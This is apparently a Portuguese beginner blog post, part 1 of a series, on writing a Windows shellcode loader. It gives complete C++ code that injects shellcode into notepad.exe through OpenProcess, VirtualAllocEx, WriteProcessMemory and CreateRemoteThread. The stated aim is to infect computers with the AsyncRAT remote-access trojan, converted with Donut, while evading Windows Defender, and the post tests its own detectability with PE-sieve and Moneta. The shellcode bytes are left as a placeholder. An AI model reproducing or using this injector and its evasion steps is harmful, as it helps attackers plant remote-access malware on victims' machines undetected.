Bom, neste post vamos criar um shellcode loader simples, esse post é mais focado para iniciantes.
Começo
Bom, vamos começar a fazer um carregador simples e entender os princípios básicos por trás do que estamos fazendo. Primeiro, vamos criar um código simples que provavelmente será detectado como um vírus. Em seguida, vamos começar a melhorar nosso código simples para que possamos contornar o Windows Defender.
Conversão
Bom, primeiro vamos ter que utilizar algum programa para infectar o computador. Então, vou utilizar o AsyncRAT, por ser uma
ferramenta de código aberto e de fácil entendimento, podendo ser executado no Windows. Como o AsyncRAT não
tem a capacidade de criar uma payload em formato binário, podemos utilizar o projeto do Donut para transformar a payload gerada pelo AsyncRAT em um binário.
Caso queira ver mais sobre, leia meu post DLL-LOADER.
Shellcode
O motivo pelo qual queremos transformar nosso executável em binário é porque nosso carregador vai injetar esse binário na memória de um processo. O principal objetivo pelo qual vamos fazer isso é que não vamos estar "deixando" nosso malware no disco, já que ele vai estar na memória do programa.
Começo do código
A primeira parte do nosso código vai ser responsável por pegar o nome do executável fornecido no código e obter o PID (Process ID) do processo com esse nome:
DWORD GetProcessIdByName(const wchar_t* processName)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &processEntry))
{
do
{
if (wcscmp(processEntry.szExeFile, processName) == 0)
{
CloseHandle(snapshot);
return processEntry.th32ProcessID;
}
} while (Process32NextW(snapshot, &processEntry));
}
}
CloseHandle(snapshot);
return 0;
}
Explicando GetProcessIdByName:
CreateToolhelp32Snapshot: Cria um snapshot de todos os processos em
execução no sistema.
O argumento TH32CS_SNAPPROCESS indica que
queremos capturar informações sobre processos.
Process32FirstW:
Esta função retorna o primeiro processo no snapshot.
Process32NextW: Itera sobre o próximo processo no snapshot.
wcscmp: Compara os nomes dos processos para verificar se encontramos o
processo desejado.
CloseHandle: Fecha o snapshot depois de
encontrar o processo ou quando terminamos de iterar.
Essa função retorna o PID do processo que
corresponder ao nome fornecido.
APIs Importantes
Vamos agora explicar algumas APIs essenciais usadas no nosso carregador.
caso queira ver mais sobre
as APIs utilizadas por malwares acesse Malapi.io.
OpenProcess
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
dwDesiredAccess: O nível de acesso desejado ao processo. No nosso
caso, usaremos PROCESS_ALL_ACCESS para ter permissão total.
bInheritHandle: Se definido como FALSE, o handle não pode ser herdado pelos processos filhos.
dwProcessId: O PID do processo que obtivemos com a função GetProcessIdByName.
No nosso código, isso nos permite abrir um
processo de destino para injetar o shellcode.
VirtualAllocEx
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
hProcess: O handle do processo no qual queremos alocar memória. Esse
handle é obtido com OpenProcess.
lpAddress: O endereço inicial da região de memória. Se NULL, o sistema
escolhe o endereço.
dwSize: O tamanho da memória que queremos
alocar.
flAllocationType: Tipo de alocação. Utilizamos MEM_RESERVE | MEM_COMMIT para reservar e comprometer a memória.
flProtect: Proteção de acesso para a memória. Vamos usar PAGE_EXECUTE_READWRITE para permitir leitura, escrita e execução.
WriteProcessMemory
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
hProcess: O handle do processo no qual queremos escrever.
lpBaseAddress: O endereço de memória onde o conteúdo será escrito (obtido
de VirtualAllocEx).
lpBuffer:
O buffer contendo o que queremos escrever, no caso, o shellcode.
nSize: O tamanho do buffer.
lpNumberOfBytesWritten: Opcional, aponta para o número de bytes escritos
na memória. Pode ser NULL se não for necessário verificar.
VirtualProtect
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
lpAddress: O endereço da memória cuja proteção queremos
alterar.
dwSize: O tamanho da região de memória.
flNewProtect: A nova proteção para a memória.
Para execução, usamos
PAGE_EXECUTE_READ.
lpflOldProtect: Um ponteiro para armazenar a antiga proteção da memória.
CreateRemoteThreadEx
HANDLE CreateRemoteThreadEx(
[in] HANDLE hProcess,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[out, optional] LPDWORD lpThreadId
);
hProcess: O handle do processo no qual a thread será
criada.
lpThreadAttributes: Atributos de segurança, podemos deixar
NULL.
dwStackSize: O tamanho
da pilha da thread, deixar 0 para o tamanho padrão.
lpStartAddress: O endereço inicial onde a execução da thread começa
(neste caso, o shellcode).
lpParameter: Parâmetros passados para a
thread, geralmente NULL para shellcode.
dwCreationFlags: Definir para 0 para
que a thread inicie imediatamente.
lpThreadId: Um ponteiro para
receber o ID da thread, pode ser NULL.
Clássico loader
Então nosso código vai praticamente realizar isso:
Abrir o processo alvo com OpenProcess
Alocar uma região de
memória com permissões de leitura e gravação VirtualAllocEx
Copie
o shellcode para essa região WriteProcessMemory
Alterar permissões
da região de memória para leitura-execução VirtualProtectEx
Execute o shellcode CreateRemoteThread
Há muitas variações dessa receita simples, a maioria delas foca na injeção de shellcode em processos
remotos.
Que funciona da mesma forma usando OpenProcess() no
processo de destino, e usa isso como hProcess argumento para as
chamadas de função como VirtualAllocEx,
O acesso entre processos
usando hProcess é mais monitorado.
Outra coisa típica que está
sendo feita é chamar o shellcode criando uma nova thread. Seja dentro do CreateThread() seu próprio espaço de endereço, ou CreateRemoteThread()
para injeção de processo.
Como nosso objetivo nesse post vai ser entender esse processo, então vamos ver cada um dos passos que vamos tomar com muita calma.
Código:
Primeiro, vamos incluir as bibliotecas necessárias para nosso código, que vão ser:
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
// Aqui podemos colar nossa shellcode copiada como C
unsigned char shellcode[] = { ...SHELLCODE... };
Depois, fornecemos o código do GetProcessIdByName que será responsável por pegar o nome do executável fornecido pelo código e obter o PID (Process ID) do processo com esse nome.
DWORD GetProcessIdByName(const wchar_t* processName)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &processEntry))
{
do
{
if (wcscmp(processEntry.szExeFile, processName) == 0)
{
CloseHandle(snapshot);
return processEntry.th32ProcessID;
}
} while (Process32NextW(snapshot, &processEntry));
}
}
CloseHandle(snapshot);
return 0;
}
E, por último, nosso código main, que será responsável por todo o trabalho. Lembrando que é uma boa prática, ao criar um código, observar o processo dele mais a fundo. Para isso, vamos colocar "pontos de interrupção" para ter que pressionar Enter para realizar cada etapa do código. Além disso, vamos imprimir no nosso console o endereço de memória alocado e também imprimir o endereço de onde nosso shellcode foi escrito.
int main()
{
try
{
// Aqui definimos o nome do processo que vamos querer injetar nossa shellcode.
const wchar_t* processName = L"notepad.exe";
DWORD processId = GetProcessIdByName(processName);
std::cout << "Processo encontrado com PID: " << processId << std::endl;
std::cout << "Presione Enter para abrir o processo alvo." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
if (processId == 0)
{
std::cout << "Processo nao encontrado." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 1;
}
// Aqui abrimos o processo escolhido
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (hProcess == NULL)
{
std::cout << "Nao foi possivel abrir o processo." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 1;
}
std::cout << "Presione Enter para alocar memoria para a shellcode." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
// Aqui alocamos memoria suficiente para nosso shellcode na memoria do processo alvo
LPVOID pShellcode = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pShellcode == NULL)
{
std::cout << "Falha ao alocar memoria." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 1;
}
// Mostra o endereço de onde foi alocada a memória
std::cout << "Memoria alocada em: " << pShellcode << std::endl;
std::cout << "Presione Enter para escrever a shellcode na memoria." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
// Aqui escrevemos nossa shellcode na memoria alocada do processo alvo
if (!WriteProcessMemory(hProcess, pShellcode, shellcode, sizeof(shellcode), NULL))
{
std::cout << "Falha ao escrever na memoria." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 1;
}
// Mostra o endereço onde o shellcode foi escrito
std::cout << "Shellcode escrito em: " << pShellcode << std::endl;
std::cout << "Presione Enter para criar a thread remota." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
// Aqui criamos uma thread remota para iniciar nossa shellcode na memoria do processo alvo
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL);
if (hThread == NULL)
{
std::cout << "Falha ao criar thread remota." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 1;
}
std::cout << "Presione Enter para aguardar o termino da thread." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
// Aqui estamos aguardando o término da thread que criamos para iniciar o shellcode
WaitForSingleObject(hThread, INFINITE);
std::cout << "Presione Enter para fechar o handle da thread e liberar a memoria." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
// E aqui após ter terminado o thread que criamos vamos estyar fechando o handle do processo e limpando a memoria
CloseHandle(hThread);
VirtualFreeEx(hProcess, pShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
std::cout << "Processo finalizado com sucesso." << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 0;
}
catch (const std::exception& e)
{
std::cout << "Ocorreu uma excecao: " << e.what() << std::endl;
std::cin.get(); // Espera o usuário pressionar Enter
return 1;
}
}
Analisando o Processo
Vamos estar utilizando os seguintes programas: x64dbg, Detect-It-Easy, Pe-sieve, Moneta.
Detect-It-Easy
Após ter compilado nosso código, vamos jogar nosso executável gerado no Detect-It-Easy para ver algumas coisas interessantes.
lembrese de que unsigned char shellcode[999] é uma variável global inicializada, portanto, ela reside na seção .data.
Observe que o Detect-It-Easy nos mostra que a seção .data esta comprimida isso ocorre pois nossa shellcode é muito grande e
esta localizada na seção .data, mas nossa entropia esta abaixo de 6 o
que já é algo bom mas não perfeito.
Outra coisa que o Detect-It-Easy nos mostra é que o executavel importa algumas APIs como
OpenProcess VirtualAllocEx... o
que não é bom já que estamos mostrando que nosso executavel utiliza APIs tipicas em um shellcode loader.
Agora vamos abrir o notepad.exe e nosso loader para inspecionar a shellcode sendo escrita na memória. Para isso, vamos utilizar o x64dbg. Poderíamos ter definido pontos de interrupção no x64dbg para visualizar melhor as coisas, mas vou deixar isso para você fazer.
Como podemos ver, após ele nos entregar o endereço de onde a memória foi alocada, conseguimos visualizar
esse endereço antes mesmo que a shellcode seja escrita. Podemos ver que a shellcode foi escrita com
sucesso. Poderíamos realizar também um dump dessa memória para conseguir visualizar perfeitamente o
shellcode que foi escrito.
Vamos ver o que as ferramentas Pe-sieve
e Moneta nos entregam se analisarmos o processo do notepad.exe após realizar a injeção de shellcode.
Observe que houve uma detecção bem grande, principalmente na parte do Moneta, onde ele detectou várias alterações. Isso ocorreu devido ao donut, já que ele, por padrão, realiza várias coisas como:
Podemos, claro, configurar o Donut, mas não vai mudar muita coisa. Então, vou optar por utilizar o HavocFramework, já que não vamos ter uma detecção grande como a do donut.
Continuação
Bom, por enquanto, foi apenas isso. No próximo post, vamos mudar e melhorar esse código drasticamente. Então, vá para o post: Creating shellcode loader part-2